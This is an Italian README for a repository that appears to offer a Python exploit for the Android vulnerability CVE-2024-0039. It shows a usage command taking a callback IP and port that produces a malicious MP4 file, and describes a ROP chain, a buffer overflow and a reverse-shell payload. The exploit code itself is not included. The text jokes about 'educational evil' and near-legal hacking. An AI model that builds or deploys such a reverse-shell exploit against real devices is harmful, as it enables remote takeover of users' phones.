CVE-2024-0039-Exploit

Descrizione

Script Python per sfruttare la vulnerabilità CVE-2024-0039: esecuzione di codice arbitrario su dispositivi Android vulnerabili.

ATTENZIONE: Questo codice è destinato solo a scopi educativi e costruttivi, al servizio del bene, per così dire!

Utilizzo

Esegui lo script con gli argomenti necessari:

python exploit.py --cb-host <Il tuo IP> --cb-port <La tua porta> --output exploit.mp4

Struttura del progetto

• exploit.py: Script principale dell'exploit che crea un file MP4 malevolo e registra il processo di esecuzione.
• logs/: Diario per la tua malvagità educativa e costruttiva.
  • exploit.log:
• utils/: Qui sono inseriti gli helper per la pulizia del codice
  • helpers.py
• tests/: Test (seguiamo le migliori pratiche)
  • exploit.test.py

Cosa fa questo codice:

Funzione create_malicious_payload

Crea un payload malevolo con una catena ROP e un reverse shell.

• Creazione della catena ROP: Configurazione della catena ROP per l'esecuzione di codice arbitrario.
• Creazione del buffer overflow (e riempimento con la lettera 'A'): Riempimento del buffer con 'A' per l'overflow.
• Creazione del payload per il reverse shell (non provate a casa): Configurazione del reverse shell.

Funzione write_to_file

• Generiamo il bene in un file

Parte principale del codice

• Creazione del bene nel file
• Scrittura nel file
• Messaggio di creazione riuscita del file

Registrazione (log)

I log vengono salvati in logs/exploit.log. Registra le azioni dello script, come la creazione della catena ROP, il buffer overflow, la scrittura nel file e l'esecuzione riuscita dell'exploit.

Nota

• Tutti gli indirizzi e i comandi nella catena ROP sono esemplificativi e devono essere configurati in base alla vulnerabilità e al target specifici.
• Questo codice è destinato solo a scopi educativi e non deve essere utilizzato per azioni non autorizzate.

Licenza

Questo progetto è concesso in licenza sotto la licenza MIT - vedere il file LICENSE per i dettagli. Perché anche l'hacking deve essere legale... beh, quasi.